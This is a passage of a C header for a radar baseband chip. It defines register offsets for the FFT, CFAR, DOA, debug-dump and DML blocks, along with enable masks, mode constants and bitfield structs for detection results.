#define BB_REG_FFT_NVE_DFT_VALUE (BB_REG_FFT_BASEADDR+0x6C)
#define BB_REG_FFT_ZER_DPL_ENB (BB_REG_FFT_BASEADDR+0x70)
#define BB_REG_FDB_FFT_DINT_DAT_FH (BB_REG_FFT_BASEADDR+0x74)
#define BB_REG_FDB_FFT_DINT_DAT_CS (BB_REG_FFT_BASEADDR+0x78)
#define BB_REG_FDB_FFT_DINT_DAT_PS (BB_REG_FFT_BASEADDR+0x7C)
/* CFAR register*/
#define BB_REG_CFR_SIZE_OBJ (BB_REG_CFR_BASEADDR+0x00) /*upper bound for object number*/
#define BB_REG_CFR_BACK_RNG (BB_REG_CFR_BASEADDR+0x04)
#define BB_REG_CFR_TYPE_CMB (BB_REG_CFR_BASEADDR+0x08)
#define BB_REG_CFR_MIMO_NUM (BB_REG_CFR_BASEADDR+0x0C)
#define BB_REG_CFR_MIMO_ADR (BB_REG_CFR_BASEADDR+0x10)
#define BB_REG_CFR_PRT_VEL_00 (BB_REG_CFR_BASEADDR+0x14)
#define BB_REG_CFR_PRT_VEL_01 (BB_REG_CFR_BASEADDR+0x18)
#define BB_REG_CFR_PRT_VEL_10 (BB_REG_CFR_BASEADDR+0x1C)
#define BB_REG_CFR_PRT_VEL_11 (BB_REG_CFR_BASEADDR+0x20)
#define BB_REG_CFR_PRT_VEL_20 (BB_REG_CFR_BASEADDR+0x24)
#define BB_REG_CFR_PRT_VEL_21 (BB_REG_CFR_BASEADDR+0x28)
#define BB_REG_CFR_PRT_VEL_30 (BB_REG_CFR_BASEADDR+0x2C)
#define BB_REG_CFR_PRT_VEL_31 (BB_REG_CFR_BASEADDR+0x30)
#define BB_REG_CFR_PRT_RNG_00 (BB_REG_CFR_BASEADDR+0x34)
#define BB_REG_CFR_PRT_RNG_01 (BB_REG_CFR_BASEADDR+0x38)
#define BB_REG_CFR_PRT_RNG_02 (BB_REG_CFR_BASEADDR+0x3C)
#define BB_REG_CFR_TYP_AL (BB_REG_CFR_BASEADDR+0x40)
#define BB_REG_CFR_TYP_DS (BB_REG_CFR_BASEADDR+0x44)
#define BB_REG_CFR_PRM_0_0 (BB_REG_CFR_BASEADDR+0x48)
#define BB_REG_CFR_PRM_0_1 (BB_REG_CFR_BASEADDR+0x4C)
#define BB_REG_CFR_PRM_1_0 (BB_REG_CFR_BASEADDR+0x50)
#define BB_REG_CFR_PRM_1_1 (BB_REG_CFR_BASEADDR+0x54)
#define BB_REG_CFR_PRM_1_2 (BB_REG_CFR_BASEADDR+0x58)
#define BB_REG_CFR_PRM_2_0 (BB_REG_CFR_BASEADDR+0x5C)
#define BB_REG_CFR_PRM_2_1 (BB_REG_CFR_BASEADDR+0x60)
#define BB_REG_CFR_PRM_2_2 (BB_REG_CFR_BASEADDR+0x64)
#define BB_REG_CFR_PRM_3_0 (BB_REG_CFR_BASEADDR+0x68)
#define BB_REG_CFR_PRM_3_1 (BB_REG_CFR_BASEADDR+0x6C)
#define BB_REG_CFR_PRM_3_2 (BB_REG_CFR_BASEADDR+0x70)
#define BB_REG_CFR_PRM_3_3 (BB_REG_CFR_BASEADDR+0x74)
#define BB_REG_CFR_PRM_4_0 (BB_REG_CFR_BASEADDR+0x78)
#define BB_REG_CFR_PRM_4_1 (BB_REG_CFR_BASEADDR+0x7C)
#define BB_REG_CFR_PRM_5_0 (BB_REG_CFR_BASEADDR+0x80)
#define BB_REG_CFR_PRM_5_1 (BB_REG_CFR_BASEADDR+0x84)
#define BB_REG_CFR_PRM_6_0 (BB_REG_CFR_BASEADDR+0x88)
#define BB_REG_CFR_PRM_6_1 (BB_REG_CFR_BASEADDR+0x8C)
#define BB_REG_CFR_PRM_6_2 (BB_REG_CFR_BASEADDR+0x90)
#define BB_REG_CFR_PRM_6_3 (BB_REG_CFR_BASEADDR+0x94)
#define BB_REG_CFR_PRM_7_0 (BB_REG_CFR_BASEADDR+0x98)
#define BB_REG_CFR_MSK_DS_00 (BB_REG_CFR_BASEADDR+0x9C)
#define BB_REG_CFR_MSK_DS_01 (BB_REG_CFR_BASEADDR+0xA0)
#define BB_REG_CFR_MSK_DS_02 (BB_REG_CFR_BASEADDR+0xA4)
#define BB_REG_CFR_MSK_DS_03 (BB_REG_CFR_BASEADDR+0xA8)
#define BB_REG_CFR_MSK_DS_10 (BB_REG_CFR_BASEADDR+0xAC)
#define BB_REG_CFR_MSK_DS_11 (BB_REG_CFR_BASEADDR+0xB0)
#define BB_REG_CFR_MSK_DS_12 (BB_REG_CFR_BASEADDR+0xB4)
#define BB_REG_CFR_MSK_DS_13 (BB_REG_CFR_BASEADDR+0xB8)
#define BB_REG_CFR_MSK_DS_20 (BB_REG_CFR_BASEADDR+0xBC)
#define BB_REG_CFR_MSK_DS_21 (BB_REG_CFR_BASEADDR+0xC0)
#define BB_REG_CFR_MSK_DS_22 (BB_REG_CFR_BASEADDR+0xC4)
#define BB_REG_CFR_MSK_DS_23 (BB_REG_CFR_BASEADDR+0xC8)
#define BB_REG_CFR_MSK_DS_30 (BB_REG_CFR_BASEADDR+0xCC)
#define BB_REG_CFR_MSK_DS_31 (BB_REG_CFR_BASEADDR+0xD0)
#define BB_REG_CFR_MSK_DS_32 (BB_REG_CFR_BASEADDR+0xD4)
#define BB_REG_CFR_MSK_DS_33 (BB_REG_CFR_BASEADDR+0xD8)
#define BB_REG_CFR_MSK_DS_40 (BB_REG_CFR_BASEADDR+0xDC)
#define BB_REG_CFR_MSK_DS_41 (BB_REG_CFR_BASEADDR+0xE0)
#define BB_REG_CFR_MSK_DS_42 (BB_REG_CFR_BASEADDR+0xE4)
#define BB_REG_CFR_MSK_DS_43 (BB_REG_CFR_BASEADDR+0xE8)
#define BB_REG_CFR_MSK_DS_50 (BB_REG_CFR_BASEADDR+0xEC)
#define BB_REG_CFR_MSK_DS_51 (BB_REG_CFR_BASEADDR+0xF0)
#define BB_REG_CFR_MSK_DS_52 (BB_REG_CFR_BASEADDR+0xF4)
#define BB_REG_CFR_MSK_DS_53 (BB_REG_CFR_BASEADDR+0xF8)
#define BB_REG_CFR_MSK_DS_60 (BB_REG_CFR_BASEADDR+0xFC)
#define BB_REG_CFR_MSK_DS_61 (BB_REG_CFR_BASEADDR+0x100)
#define BB_REG_CFR_MSK_DS_62 (BB_REG_CFR_BASEADDR+0x104)
#define BB_REG_CFR_MSK_DS_63 (BB_REG_CFR_BASEADDR+0x108)
#define BB_REG_CFR_MSK_DS_70 (BB_REG_CFR_BASEADDR+0x10C)
#define BB_REG_CFR_MSK_DS_71 (BB_REG_CFR_BASEADDR+0x110)
#define BB_REG_CFR_MSK_DS_72 (BB_REG_CFR_BASEADDR+0x114)
#define BB_REG_CFR_MSK_DS_73 (BB_REG_CFR_BASEADDR+0x118)
#define BB_REG_CFR_MSK_PK_00 (BB_REG_CFR_BASEADDR+0x11C)
#define BB_REG_CFR_MSK_PK_01 (BB_REG_CFR_BASEADDR+0x120)
#define BB_REG_CFR_MSK_PK_02 (BB_REG_CFR_BASEADDR+0x124)
#define BB_REG_CFR_MSK_PK_03 (BB_REG_CFR_BASEADDR+0x128)
#define BB_REG_CFR_MSK_PK_04 (BB_REG_CFR_BASEADDR+0x12C)
#define BB_REG_CFR_MSK_PK_05 (BB_REG_CFR_BASEADDR+0x130)
#define BB_REG_CFR_MSK_PK_06 (BB_REG_CFR_BASEADDR+0x134)
#define BB_REG_CFR_MSK_PK_07 (BB_REG_CFR_BASEADDR+0x138)
#define BB_REG_CFR_PK_ENB (BB_REG_CFR_BASEADDR+0x13C)
#define BB_REG_CFR_PK_THR_0 (BB_REG_CFR_BASEADDR+0x140)
#define BB_REG_CFR_PK_THR_1 (BB_REG_CFR_BASEADDR+0x144)
#define BB_REG_CFR_PK_THR_2 (BB_REG_CFR_BASEADDR+0x148)
#define BB_REG_CFR_PK_THR_3 (BB_REG_CFR_BASEADDR+0x14C)
#define BB_REG_CFR_PK_THR_4 (BB_REG_CFR_BASEADDR+0x150)
#define BB_REG_CFR_PK_THR_5 (BB_REG_CFR_BASEADDR+0x154)
#define BB_REG_CFR_PK_THR_6 (BB_REG_CFR_BASEADDR+0x158)
#define BB_REG_CFR_PK_THR_7 (BB_REG_CFR_BASEADDR+0x15C)
#define BB_REG_CFR_CS_ENA (BB_REG_CFR_BASEADDR+0x160)
#define BB_REG_CFR_CS_SKP_VEL (BB_REG_CFR_BASEADDR+0x164)
#define BB_REG_CFR_CS_SKP_RNG (BB_REG_CFR_BASEADDR+0x168)
#define BB_REG_CFR_CS_SIZ_VEL (BB_REG_CFR_BASEADDR+0x16C)
#define BB_REG_CFR_CS_SIZ_RNG (BB_REG_CFR_BASEADDR+0x170)
#define BB_REG_CFR_TYP_NOI (BB_REG_CFR_BASEADDR+0x174)
#define BB_REG_CFR_NUMB_OBJ (BB_REG_CFR_BASEADDR+0x178)
/*DOA regisetr*/
#define BB_REG_DOA_DAMB_FRDTRA (BB_REG_DOA_BASEADDR+0x00)
#define BB_REG_DOA_DAMB_IDX_BGN (BB_REG_DOA_BASEADDR+0x04)
#define BB_REG_DOA_DAMB_IDX_LEN (BB_REG_DOA_BASEADDR+0x08)
#define BB_REG_DOA_DAMB_TYP (BB_REG_DOA_BASEADDR+0x0C)
#define BB_REG_DOA_DAMB_DEFQ (BB_REG_DOA_BASEADDR+0x10)
#define BB_REG_DOA_DAMB_FDTR (BB_REG_DOA_BASEADDR+0x14)
#define BB_REG_DOA_DAMB_VELCOM (BB_REG_DOA_BASEADDR+0x18)
#define BB_REG_DOA_DBPM_ENA (BB_REG_DOA_BASEADDR+0x1C)
#define BB_REG_DOA_DBPM_ADR (BB_REG_DOA_BASEADDR+0x20)
#define BB_REG_DOA_MODE_RUN (BB_REG_DOA_BASEADDR+0x24)
#define BB_REG_DOA_NUMB_OBJ (BB_REG_DOA_BASEADDR+0x28)
#define BB_REG_DOA_MODE_GRP (BB_REG_DOA_BASEADDR+0x2C)
#define BB_REG_DOA_NUMB_GRP (BB_REG_DOA_BASEADDR+0x30)
#define BB_REG_DOA_GRP0_TYP_SCH (BB_REG_DOA_BASEADDR+0x34)
#define BB_REG_DOA_GRP0_MOD_SCH (BB_REG_DOA_BASEADDR+0x38)
#define BB_REG_DOA_GRP0_NUM_SCH (BB_REG_DOA_BASEADDR+0x3C)
#define BB_REG_DOA_GRP0_ADR_COE (BB_REG_DOA_BASEADDR+0x40)
#define BB_REG_DOA_GRP0_SIZ_ONE_ANG (BB_REG_DOA_BASEADDR+0x44)
#define BB_REG_DOA_GRP0_SIZ_RNG_PKS_CRS (BB_REG_DOA_BASEADDR+0x48)
#define BB_REG_DOA_GRP0_SIZ_STP_PKS_CRS (BB_REG_DOA_BASEADDR+0x4C)
#define BB_REG_DOA_GRP0_SIZ_RNG_PKS_RFD (BB_REG_DOA_BASEADDR+0x50)
#define BB_REG_DOA_GRP0_SIZ_CMB (BB_REG_DOA_BASEADDR+0x54)
#define BB_REG_DOA_GRP0_DAT_IDX_0 (BB_REG_DOA_BASEADDR+0x58)
#define BB_REG_DOA_GRP0_DAT_IDX_1 (BB_REG_DOA_BASEADDR+0x5C)
#define BB_REG_DOA_GRP0_DAT_IDX_2 (BB_REG_DOA_BASEADDR+0x60)
#define BB_REG_DOA_GRP0_DAT_IDX_3 (BB_REG_DOA_BASEADDR+0x64)
#define BB_REG_DOA_GRP0_DAT_IDX_4 (BB_REG_DOA_BASEADDR+0x68)
#define BB_REG_DOA_GRP0_DAT_IDX_5 (BB_REG_DOA_BASEADDR+0x6C)
#define BB_REG_DOA_GRP0_DAT_IDX_6 (BB_REG_DOA_BASEADDR+0x70)
#define BB_REG_DOA_GRP0_DAT_IDX_7 (BB_REG_DOA_BASEADDR+0x74)
#define BB_REG_DOA_GRP0_SIZ_WIN (BB_REG_DOA_BASEADDR+0x78)
#define BB_REG_DOA_GRP0_THR_SNR_0 (BB_REG_DOA_BASEADDR+0x7C)
#define BB_REG_DOA_GRP0_THR_SNR_1 (BB_REG_DOA_BASEADDR+0x80)
#define BB_REG_DOA_GRP0_SCL_POW (BB_REG_DOA_BASEADDR+0x84)
#define BB_REG_DOA_GRP0_SCL_NOI_0 (BB_REG_DOA_BASEADDR+0x88)
#define BB_REG_DOA_GRP0_SCL_NOI_1 (BB_REG_DOA_BASEADDR+0x8C)
#define BB_REG_DOA_GRP0_SCL_NOI_2 (BB_REG_DOA_BASEADDR+0x90)
#define BB_REG_DOA_GRP0_TST_POW (BB_REG_DOA_BASEADDR+0x94)
#define BB_REG_DOA_GRP0_SIZ_RNG_AML (BB_REG_DOA_BASEADDR+0x98)
#define BB_REG_DOA_GRP0_SIZ_STP_AML_CRS (BB_REG_DOA_BASEADDR+0x9C)
#define BB_REG_DOA_GRP0_SIZ_STP_AML_RFD (BB_REG_DOA_BASEADDR+0xA0)
#define BB_REG_DOA_GRP0_SCL_REM_0 (BB_REG_DOA_BASEADDR+0xA4)
#define BB_REG_DOA_GRP0_SCL_REM_1 (BB_REG_DOA_BASEADDR+0xA8)
#define BB_REG_DOA_GRP0_SCL_REM_2 (BB_REG_DOA_BASEADDR+0xAC)
#define BB_REG_DOA_GRP0_ENA_NEI (BB_REG_DOA_BASEADDR+0xB0)
#define BB_REG_DOA_GRP0_SIZ_SUB (BB_REG_DOA_BASEADDR+0xB4)
#define BB_REG_DOA_GRP0_TYP_SMO (BB_REG_DOA_BASEADDR+0xB8)
#define BB_REG_DOA_GRP1_TYP_SCH (BB_REG_DOA_BASEADDR+0xBC)
#define BB_REG_DOA_GRP1_MOD_SCH (BB_REG_DOA_BASEADDR+0xC0)
#define BB_REG_DOA_GRP1_NUM_SCH (BB_REG_DOA_BASEADDR+0xC4)
#define BB_REG_DOA_GRP1_ADR_COE (BB_REG_DOA_BASEADDR+0xC8)
#define BB_REG_DOA_GRP1_SIZ_ONE_ANG (BB_REG_DOA_BASEADDR+0xCC)
#define BB_REG_DOA_GRP1_SIZ_RNG_PKS_CRS (BB_REG_DOA_BASEADDR+0xD0)
#define BB_REG_DOA_GRP1_SIZ_STP_PKS_CRS (BB_REG_DOA_BASEADDR+0xD4)
#define BB_REG_DOA_GRP1_SIZ_RNG_PKS_RFD (BB_REG_DOA_BASEADDR+0xD8)
#define BB_REG_DOA_GRP1_SIZ_CMB (BB_REG_DOA_BASEADDR+0xDC)
#define BB_REG_DOA_GRP1_DAT_IDX_0 (BB_REG_DOA_BASEADDR+0xE0)
#define BB_REG_DOA_GRP1_DAT_IDX_1 (BB_REG_DOA_BASEADDR+0xE4)
#define BB_REG_DOA_GRP1_DAT_IDX_2 (BB_REG_DOA_BASEADDR+0xE8)
#define BB_REG_DOA_GRP1_DAT_IDX_3 (BB_REG_DOA_BASEADDR+0xEC)
#define BB_REG_DOA_GRP1_DAT_IDX_4 (BB_REG_DOA_BASEADDR+0xF0)
#define BB_REG_DOA_GRP1_DAT_IDX_5 (BB_REG_DOA_BASEADDR+0xF4)
#define BB_REG_DOA_GRP1_DAT_IDX_6 (BB_REG_DOA_BASEADDR+0xF8)
#define BB_REG_DOA_GRP1_DAT_IDX_7 (BB_REG_DOA_BASEADDR+0xFC)
#define BB_REG_DOA_GRP1_SIZ_WIN (BB_REG_DOA_BASEADDR+0x100)
#define BB_REG_DOA_GRP1_THR_SNR_0 (BB_REG_DOA_BASEADDR+0x104)
#define BB_REG_DOA_GRP1_THR_SNR_1 (BB_REG_DOA_BASEADDR+0x108)
#define BB_REG_DOA_GRP1_SCL_POW (BB_REG_DOA_BASEADDR+0x10C)
#define BB_REG_DOA_GRP1_SCL_NOI_0 (BB_REG_DOA_BASEADDR+0x110)
#define BB_REG_DOA_GRP1_SCL_NOI_1 (BB_REG_DOA_BASEADDR+0x114)
#define BB_REG_DOA_GRP1_SCL_NOI_2 (BB_REG_DOA_BASEADDR+0x118)
#define BB_REG_DOA_GRP1_TST_POW (BB_REG_DOA_BASEADDR+0x11C)
#define BB_REG_DOA_GRP1_SIZ_RNG_AML (BB_REG_DOA_BASEADDR+0x120)
#define BB_REG_DOA_GRP1_SIZ_STP_AML_CRS (BB_REG_DOA_BASEADDR+0x124)
#define BB_REG_DOA_GRP1_SIZ_STP_AML_RFD (BB_REG_DOA_BASEADDR+0x128)
#define BB_REG_DOA_GRP1_SCL_REM_0 (BB_REG_DOA_BASEADDR+0x12C)
#define BB_REG_DOA_GRP1_SCL_REM_1 (BB_REG_DOA_BASEADDR+0x130)
#define BB_REG_DOA_GRP1_SCL_REM_2 (BB_REG_DOA_BASEADDR+0x134)
#define BB_REG_DOA_GRP1_ENA_NEI (BB_REG_DOA_BASEADDR+0x138)
#define BB_REG_DOA_GRP1_SIZ_SUB (BB_REG_DOA_BASEADDR+0x13C)
#define BB_REG_DOA_GRP1_TYP_SMO (BB_REG_DOA_BASEADDR+0x140)
#define BB_REG_DOA_GRP2_TYP_SCH (BB_REG_DOA_BASEADDR+0x144)
#define BB_REG_DOA_GRP2_MOD_SCH (BB_REG_DOA_BASEADDR+0x148)
#define BB_REG_DOA_GRP2_NUM_SCH (BB_REG_DOA_BASEADDR+0x14C)
#define BB_REG_DOA_GRP2_ADR_COE (BB_REG_DOA_BASEADDR+0x150)
#define BB_REG_DOA_GRP2_SIZ_ONE_ANG (BB_REG_DOA_BASEADDR+0x154)
#define BB_REG_DOA_GRP2_SIZ_RNG_PKS_CRS (BB_REG_DOA_BASEADDR+0x158)
#define BB_REG_DOA_GRP2_SIZ_STP_PKS_CRS (BB_REG_DOA_BASEADDR+0x15C)
#define BB_REG_DOA_GRP2_SIZ_RNG_PKS_RFD (BB_REG_DOA_BASEADDR+0x160)
#define BB_REG_DOA_GRP2_SIZ_CMB (BB_REG_DOA_BASEADDR+0x164)
#define BB_REG_DOA_GRP2_DAT_IDX_0 (BB_REG_DOA_BASEADDR+0x168)
#define BB_REG_DOA_GRP2_DAT_IDX_1 (BB_REG_DOA_BASEADDR+0x16C)
#define BB_REG_DOA_GRP2_DAT_IDX_2 (BB_REG_DOA_BASEADDR+0x170)
#define BB_REG_DOA_GRP2_DAT_IDX_3 (BB_REG_DOA_BASEADDR+0x174)
#define BB_REG_DOA_GRP2_DAT_IDX_4 (BB_REG_DOA_BASEADDR+0x178)
#define BB_REG_DOA_GRP2_DAT_IDX_5 (BB_REG_DOA_BASEADDR+0x17C)
#define BB_REG_DOA_GRP2_DAT_IDX_6 (BB_REG_DOA_BASEADDR+0x180)
#define BB_REG_DOA_GRP2_DAT_IDX_7 (BB_REG_DOA_BASEADDR+0x184)
#define BB_REG_DOA_GRP2_SIZ_WIN (BB_REG_DOA_BASEADDR+0x188)
#define BB_REG_DOA_GRP2_THR_SNR_0 (BB_REG_DOA_BASEADDR+0x18C)
#define BB_REG_DOA_GRP2_THR_SNR_1 (BB_REG_DOA_BASEADDR+0x190)
#define BB_REG_DOA_GRP2_SCL_POW (BB_REG_DOA_BASEADDR+0x194)
#define BB_REG_DOA_GRP2_SCL_NOI_0 (BB_REG_DOA_BASEADDR+0x198)
#define BB_REG_DOA_GRP2_SCL_NOI_1 (BB_REG_DOA_BASEADDR+0x19C)
#define BB_REG_DOA_GRP2_SCL_NOI_2 (BB_REG_DOA_BASEADDR+0x1A0)
#define BB_REG_DOA_GRP2_TST_POW (BB_REG_DOA_BASEADDR+0x1A4)
#define BB_REG_DOA_GRP2_SIZ_RNG_AML (BB_REG_DOA_BASEADDR+0x1A8)
#define BB_REG_DOA_GRP2_SIZ_STP_AML_CRS (BB_REG_DOA_BASEADDR+0x1AC)
#define BB_REG_DOA_GRP2_SIZ_STP_AML_RFD (BB_REG_DOA_BASEADDR+0x1B0)
#define BB_REG_DOA_GRP2_SCL_REM_0 (BB_REG_DOA_BASEADDR+0x1B4)
#define BB_REG_DOA_GRP2_SCL_REM_1 (BB_REG_DOA_BASEADDR+0x1B8)
#define BB_REG_DOA_GRP2_SCL_REM_2 (BB_REG_DOA_BASEADDR+0x1BC)
#define BB_REG_DOA_GRP2_ENA_NEI (BB_REG_DOA_BASEADDR+0x1C0)
#define BB_REG_DOA_GRP2_SIZ_SUB (BB_REG_DOA_BASEADDR+0x1C4)
#define BB_REG_DOA_GRP2_TYP_SMO (BB_REG_DOA_BASEADDR+0x1C8)
#define BB_REG_DOA_C2D1_ADR_COE (BB_REG_DOA_BASEADDR+0x1CC)
#define BB_REG_DOA_C2D1_SIZ_CMB (BB_REG_DOA_BASEADDR+0x1D0)
#define BB_REG_DOA_C2D2_ADR_COE (BB_REG_DOA_BASEADDR+0x1D4)
#define BB_REG_DOA_C2D2_SIZ_CMB (BB_REG_DOA_BASEADDR+0x1D8)
#define BB_REG_DOA_C2D3_ADR_COE (BB_REG_DOA_BASEADDR+0x1DC)
#define BB_REG_DOA_C2D3_SIZ_CMB (BB_REG_DOA_BASEADDR+0x1E0)
/*Debug data dump register*/
#define BB_REG_DBG_BUF_TAR (BB_REG_DBG_BASEADDR+0x00)
#define BB_REG_DBG_MAP_RLT (BB_REG_DBG_BASEADDR+0x04)
#define BB_REG_DBG_RFRSH_START (BB_REG_DBG_BASEADDR+0x08)
#define BB_REG_DBG_RFRSH_CLR (BB_REG_DBG_BASEADDR+0x0C)
#define BB_REG_DBG_RFRSH_STATUS (BB_REG_DBG_BASEADDR+0x10)
/*DML register*/
#define BB_REG_DML_GRP0_SV_STP (BB_REG_DML_BASEADDR+0x00)
#define BB_REG_DML_GRP0_SV_START (BB_REG_DML_BASEADDR+0x04)
#define BB_REG_DML_GRP0_SV_END (BB_REG_DML_BASEADDR+0x08)
#define BB_REG_DML_GRP0_DC_COE_0 (BB_REG_DML_BASEADDR+0x0C)
#define BB_REG_DML_GRP0_DC_COE_1 (BB_REG_DML_BASEADDR+0x10)
#define BB_REG_DML_GRP0_DC_COE_2 (BB_REG_DML_BASEADDR+0x14)
#define BB_REG_DML_GRP0_DC_COE_3 (BB_REG_DML_BASEADDR+0x18)
#define BB_REG_DML_GRP0_DC_COE_4 (BB_REG_DML_BASEADDR+0x1C)
#define BB_REG_DML_GRP0_EXTRA_EN (BB_REG_DML_BASEADDR+0x20)
#define BB_REG_DML_GRP0_DC_COE_2_EN (BB_REG_DML_BASEADDR+0x24)
#define BB_REG_DML_GRP1_SV_STP (BB_REG_DML_BASEADDR+0x28)
#define BB_REG_DML_GRP1_SV_START (BB_REG_DML_BASEADDR+0x2C)
#define BB_REG_DML_GRP1_SV_END (BB_REG_DML_BASEADDR+0x30)
#define BB_REG_DML_GRP1_DC_COE_0 (BB_REG_DML_BASEADDR+0x34)
#define BB_REG_DML_GRP1_DC_COE_1 (BB_REG_DML_BASEADDR+0x38)
#define BB_REG_DML_GRP1_DC_COE_2 (BB_REG_DML_BASEADDR+0x3C)
#define BB_REG_DML_GRP1_DC_COE_3 (BB_REG_DML_BASEADDR+0x40)
#define BB_REG_DML_GRP1_DC_COE_4 (BB_REG_DML_BASEADDR+0x44)
#define BB_REG_DML_GRP1_EXTRA_EN (BB_REG_DML_BASEADDR+0x48)
#define BB_REG_DML_GRP1_DC_COE_2_EN (BB_REG_DML_BASEADDR+0x4C)
#define BB_REG_DML_MEM_BASE_ADR (BB_REG_DML_BASEADDR+0x50)
/*--- VALUE, MASK OR SHIFT -----------*/
#define SYS_BNK_MODE_SINGLE 0
#define SYS_BNK_MODE_RESERVED 1
#define SYS_BNK_MODE_ROTATE 2
/* 10 memory */
#define SYS_MEM_ACT_DML 9 /* DML d,k list */
#define SYS_MEM_ACT_ANC 8 /* DE-AMBILITY Parameters */
#define SYS_MEM_ACT_RLT 7
#define SYS_MEM_ACT_MAC 6
#define SYS_MEM_ACT_COE 5
#define SYS_MEM_ACT_BUF 4
#define SYS_MEM_ACT_NVE 3
#define SYS_MEM_ACT_WIN 2
#define SYS_MEM_ACT_SAM 1
#define SYS_MEM_ACT_COD 0
/* 9 enable */
#define SYS_ENABLE_AGC_MASK 0x1
#define SYS_ENABLE_HIL_MASK 0x1
#define SYS_ENABLE_SAM_MASK 0x1
#define SYS_ENABLE_DMP_MID_MASK 0x1
#define SYS_ENABLE_FFT_1D_MASK 0x1
#define SYS_ENABLE_FFT_2D_MASK 0x1
#define SYS_ENABLE_CFR_MASK 0x1
#define SYS_ENABLE_BFM_MASK 0x1
#define SYS_ENABLE_DMP_FNL_MASK 0x1
#define SYS_ENABLE_AGC_SHIFT 0
#define SYS_ENABLE_HIL_SHIFT 1
#define SYS_ENABLE_SAM_SHIFT 2
#define SYS_ENABLE_DMP_MID_SHIFT 3
#define SYS_ENABLE_FFT_1D_SHIFT 4
#define SYS_ENABLE_FFT_2D_SHIFT 5
#define SYS_ENABLE_CFR_SHIFT 6
#define SYS_ENABLE_BFM_SHIFT 7
#define SYS_ENABLE_DMP_FNL_SHIFT 8
#define SAM_DBG_SRC_BF 0 /* before down sampling */
#define SAM_DBG_SRC_AF 1 /* after down sampling */
#define SAM_SINKER_BUF 0
#define SAM_SINKER_FFT 1
#define SAM_FORCE_ENABLE 1
#define SAM_FORCE_DISABLE 0
#define CFR_TYPE_CMB_SISO 0
#define CFR_TYPE_CMB_MIMO 1
#define CFR_TYPE_CMB_DBPM 2
#define CFR_TYPE_CMB_MUSIC 3
#define CFR_TYPE_DEC_CA 0
#define CFR_TYPE_DEC_OS 1
#define CFR_TYPE_DEC_CA_AND_OS 2
#define CFR_TYPE_DEC_CA_OR_OS 3
#define DOA_MODE_NORMAL 0
#define DOA_MODE_CASCADE 1
#define DOA_TYPE_DBF 0
#define DOA_TYPE_RESERVED 1
#define DOA_TYPE_DML 2
#define DBG_MAP_RLT_BOPS 0
#define DBG_MAP_RLT_BPSO 1
#define DBG_BUF_TAR_NONE 0
#define DBG_BUF_TAR_ADC (1<<0)
#define DBG_BUF_TAR_FFT_1D (1<<1)
#define DBG_BUF_TAR_FFT_2D (1<<2)
#define DBG_BUF_TAR_CFR (1<<3)
#define DBG_BUF_TAR_BFM (1<<4)
#define DBG_BUF_TAR_CPU (1<<5)
#define ECC_MODE_OFF 0
#define ECC_MODE_SB 1
#define ECC_MODE_DB 2 /* DB err should occur in cfr_buf & top_mac */
#define ADC_MODE_SAM 0
#define ADC_MODE_HIL 1 /* HIL is only supported under "DIRECT" FFT_MODE */
#define BB_MEM_BASEADDR 0xE00000
#define BB_MEM_BASEADDR_CH_OFFSET 0x040000 /* TODO: check the usage in bb_dc_command in baseband_cli.c*/
#define MEM_SIZE_COD_WD 6
#define MEM_DATA_COE_WD 28
#define SYS_SIZE_ANT 4
#define SYS_DATA_ADC_WD 13
#define SYS_DATA_WIN_WD 16
#define SYS_DATA_FFT_WD 26
#define SYS_DATA_COM_WD 32
#define SYS_DATA_SIG_WD 20
#define AGC_DATA_COD_WD 9
#define AGC_DATA_GAI_WD 8
#define SAM_DATA_COE_WD 8
#define SAM_DATA_SCL_WD 10
#define FFT_DATA_AMB_WD 4
#define FFT_DATA_COE_WD 14
#define CFR_SIZE_MIM_WD 4
#define ANT_NUM 4
#define SYS_SIZE_RNG_WD 11 /* defined in RTL */
#define SYS_SIZE_VEL_WD 10 /* defined in RTL */
/* name sync with ALPS_A */
#define SYS_BUF_STORE_ADC SAM_SINKER_BUF
#define SYS_BUF_STORE_FFT SAM_SINKER_FFT
#define BB_IRQ_ENABLE_ALL 0x7
#define BB_IRQ_CLEAR_ALL 0x7
#define BB_IRQ_ENABLE_SAM_DONE 0x4
#define BB_IRQ_CLEAR_SAM_DONE 0x4
#define BB_IRQ_ENABLE_BB_DONE 0x1
#define BB_ECC_ERR_CLEAR_ALL 0x7ff
#define SYS_SIZE_OBJ_WD 10 /* maximal object number is 1024 for all bank */
#define SYS_SIZE_OBJ_WD_BNK 8 /* maximal object number is 256 for each bank */
#define SYS_SIZE_OBJ_BNK 256 /* maximal object number is 256 for each bank */
#define RESULT_SIZE 128 /* 128 bytes */
#define DMP_FFT_1D 1 /* fft1d data dump */
#define DMP_FFT_2D 2 /* fft2d data dump */
/* frame interleaving loop pattern */
#define FIXED 0 /* fixed */
#define ROTATE 1 /* loop */
#define AIR_CONDITIONER 2 /* special scene of air conditioner */
#define VELAMB 3 /* special scene of velocity ambiguity*/
#define CFG_0 0 /* frame interleaving config 0 */
#define CFG_1 1 /* frame interleaving config 1 */
#define CFG_2 2 /* frame interleaving config 2 */
#define CFG_3 3 /* frame interleaving config 3 */
/*--- TYPEDEF ( to match newest RTL )-------------------------*/
typedef struct {
uint32_t ang_acc_0 : 4 ; /* 0x00 */
uint32_t ang_idx_0 : 9 ;
uint32_t ang_vld_0 : 1 ;
uint32_t ang_dummy_0 : 18 ;
uint32_t sig_0 : 20 ; /* 0x04 */
uint32_t sig_dummy_0 : 12 ;
uint32_t ang_acc_1 : 4 ; /* 0x08 */
uint32_t ang_idx_1 : 9 ;
uint32_t ang_vld_1 : 1 ;
uint32_t ang_dummy_1 : 18 ;
uint32_t sig_1 : 20 ; /* 0x0c */
uint32_t sig_dummy_1 : 12 ;
uint32_t ang_acc_2 : 4 ; /* 0x10 */
uint32_t ang_idx_2 : 9 ;
uint32_t ang_vld_2 : 1 ;
uint32_t ang_dummy_2 : 18 ;
uint32_t sig_2 : 20 ; /* 0x14 */
uint32_t sig_dummy_2 : 12 ;
uint32_t ang_acc_3 : 4 ; /* 0x18 */
uint32_t ang_idx_3 : 9 ;
uint32_t ang_vld_3 : 1 ;
uint32_t ang_dummy_3 : 18 ;
uint32_t sig_3 : 20 ; /* 0x1c */
uint32_t sig_dummy_3 : 12 ;
} doa_info_t;
typedef struct {
uint32_t vel_acc : 4 ; /* 0x00 */
uint32_t vel_idx : 10 ;
uint32_t rng_acc : 4 ;
uint32_t rng_idx : 10 ;
uint32_t dummy_0 : 4 ;
uint32_t noi : 20 ; /* 0x04 */
uint32_t amb_idx : 5 ;
uint32_t dummy_1 : 7 ;
doa_info_t doa[3] ;
